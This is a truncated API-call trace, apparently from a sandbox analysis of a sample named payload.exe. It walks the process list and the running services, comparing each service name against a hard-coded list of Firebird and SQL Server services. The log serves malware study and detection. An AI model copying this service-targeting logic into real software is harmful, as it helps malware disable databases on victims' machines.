(in: hSnapshot=0x380, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.652] lstrlenW (lpString="svchost.exe") returned 11 [0097.652] Process32NextW (in: hSnapshot=0x380, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.652] lstrlenW (lpString="svchost.exe") returned 11 [0097.652] Process32NextW (in: hSnapshot=0x380, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.653] lstrlenW (lpString="svchost.exe") returned 11 [0097.653] Process32NextW (in: hSnapshot=0x380, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0097.653] lstrlenW (lpString="audiodg.exe") returned 11 [0097.653] Process32NextW (in: hSnapshot=0x380, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.653] lstrlenW (lpString="svchost.exe") returned 11 [0097.653] Process32NextW (in: hSnapshot=0x380, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.653] lstrlenW (lpString="svchost.exe") returned 11 [0097.653] Process32NextW (in: hSnapshot=0x380, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0097.654] lstrlenW (lpString="userinit.exe") returned 12 [0097.654] Process32NextW (in: hSnapshot=0x380, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0097.654] lstrlenW (lpString="dwm.exe") returned 7 [0097.654] Process32NextW (in: hSnapshot=0x380, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0097.654] lstrlenW (lpString="explorer.exe") returned 12 [0097.654] Process32NextW (in: hSnapshot=0x380, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0097.654] lstrlenW (lpString="spoolsv.exe") returned 11 [0097.654] Process32NextW (in: hSnapshot=0x380, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0097.655] lstrlenW (lpString="taskhost.exe") returned 12 [0097.655] Process32NextW (in: hSnapshot=0x380, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.655] lstrlenW (lpString="svchost.exe") returned 11 [0097.655] Process32NextW (in: hSnapshot=0x380, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0097.655] lstrlenW (lpString="payload.exe") returned 11 [0097.655] Process32NextW (in: hSnapshot=0x380, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0097.655] lstrlenW (lpString="reader_sl.exe") returned 13 [0097.655] Process32NextW (in: hSnapshot=0x380, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0097.656] lstrlenW (lpString="taskhost.exe") returned 12 [0097.656] Process32NextW (in: hSnapshot=0x380, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0097.656] CloseHandle (hObject=0x380) returned 1 [0097.656] Sleep (dwMilliseconds=0x1f4) [0098.529] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4037bc0 [0098.536] EnumServicesStatusExW (in: hSCManager=0x4037bc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0098.537] GetLastError () returned 0xea [0098.537] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x113e) returned 0x4166030 [0098.538] EnumServicesStatusExW (in: hSCManager=0x4037bc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4166030, cbBufSize=0x113e, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4166030, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0098.541] CloseServiceHandle (hSCObject=0x4037bc0) returned 1 [0098.541] lstrlenW (lpString="Appinfo") returned 7 [0098.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0098.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0098.541] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0098.541] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0098.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0098.541] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0098.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0098.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0098.541] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0098.541] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0098.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0098.541] lstrlenW (lpString="AudioSrv") returned 8 [0098.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0098.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0098.541] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0098.541] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0098.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0098.541] lstrlenW (lpString="BFE") returned 3 [0098.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0098.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0098.541] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0098.541] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0098.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0098.541] lstrlenW (lpString="CryptSvc") returned 8 [0098.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0098.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0098.541] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0098.541] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0098.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0098.541] lstrlenW (lpString="CscService") returned 10 [0098.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0098.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0098.542] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0098.542] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0098.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0098.542] lstrlenW (lpString="DcomLaunch") returned 10 [0098.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0098.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0098.542] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0098.542] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0098.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0098.542] lstrlenW (lpString="Dhcp") returned 4 [0098.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0098.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0098.542] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0098.542] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0098.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0098.542] lstrlenW (lpString="Dnscache") returned 8 [0098.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0098.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0098.542] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0098.542] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0098.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0098.542] lstrlenW (lpString="DPS") returned 3 [0098.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0098.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0098.542] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0098.542] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0098.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0098.542] lstrlenW (lpString="eventlog") returned 8 [0098.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0098.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0098.542] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0098.542] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0098.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0098.542] lstrlenW (lpString="EventSystem") returned 11 [0098.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0098.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0098.542] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0098.542] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0098.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0098.542] lstrlenW (lpString="gpsvc") returned 5 [0098.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0098.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0098.542] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0098.542] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0098.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0098.542] lstrlenW (lpString="iphlpsvc") returned 8 [0098.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0098.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0098.542] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0098.542] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0098.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0098.542] lstrlenW (lpString="LanmanServer") returned 12 [0098.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0098.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0098.543] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0098.543] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0098.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0098.543] lstrlenW (lpString="LanmanWorkstation") returned 17 [0098.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0098.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0098.543] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0098.543] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0098.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0098.543] lstrlenW (lpString="lmhosts") returned 7 [0098.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0098.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0098.543] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0098.543] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0098.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0098.543] lstrlenW (lpString="MMCSS") returned 5 [0098.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0098.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0098.543] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0098.543] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0098.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0098.543] lstrlenW (lpString="MpsSvc") returned 6 [0098.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0098.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0098.543] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0098.543] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0098.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0098.543] lstrlenW (lpString="Netman") returned 6 [0098.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0098.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0098.543] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0098.543] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0098.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0098.543] lstrlenW (lpString="netprofm") returned 8 [0098.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0098.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0098.543] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0098.543] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0098.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0098.543] lstrlenW (lpString="NlaSvc") returned 6 [0098.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0098.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0098.543] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0098.543] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0098.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0098.543] lstrlenW (lpString="nsi") returned 3 [0098.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0098.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0098.543] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0098.543] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0098.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0098.544] lstrlenW (lpString="PcaSvc") returned 6 [0098.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0098.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0098.544] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0098.544] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0098.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0098.544] lstrlenW (lpString="PlugPlay") returned 8 [0098.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0098.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0098.544] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0098.544] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0098.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0098.544] lstrlenW (lpString="Power") returned 5 [0098.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0098.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0098.544] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0098.544] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0098.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0098.544] lstrlenW (lpString="ProfSvc") returned 7 [0098.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0098.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0098.544] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0098.544] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0098.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0098.544] lstrlenW (lpString="RpcEptMapper") returned 12 [0098.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0098.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0098.544] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0098.544] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0098.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0098.544] lstrlenW (lpString="RpcSs") returned 5 [0098.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0098.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0098.544] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0098.544] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0098.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0098.544] lstrlenW (lpString="SamSs") returned 5 [0098.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0098.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0098.544] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0098.544] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0098.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0098.544] lstrlenW (lpString="Schedule") returned 8 [0098.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0098.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0098.544] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0098.544] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0098.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0098.544] lstrlenW (lpString="SENS") returned 4 [0098.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0098.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0098.544] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0098.544] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0098.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0098.545] lstrlenW (lpString="ShellHWDetection") returned 16 [0098.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0098.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0098.545] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0098.545] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0098.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0098.545] lstrlenW (lpString="Spooler") returned 7 [0098.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0098.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0098.545] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0098.545] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0098.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0098.545] lstrlenW (lpString="SysMain") returned 7 [0098.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0098.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0098.545] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0098.545] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0098.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0098.545] lstrlenW (lpString="Themes") returned 6 [0098.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0098.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0098.545] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0098.545] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0098.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0098.545] lstrlenW (lpString="TrkWks") returned 6 [0098.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0098.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0098.545] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0098.545] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0098.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0098.545] lstrlenW (lpString="UxSms") returned 5 [0098.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0098.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0098.545] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0098.545] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0098.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0098.545] lstrlenW (lpString="WdiServiceHost") returned 14 [0098.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0098.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0098.545] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0098.545] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0098.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0098.545] lstrlenW (lpString="WdiSystemHost") returned 13 [0098.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0098.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0098.545] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0098.545] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0098.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0098.545] lstrlenW (lpString="Winmgmt") returned 7 [0098.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0098.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0098.546] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0098.546] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0098.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0098.546] lstrlenW (lpString="WPDBusEnum") returned 10 [0098.546] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0098.546] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0098.546] 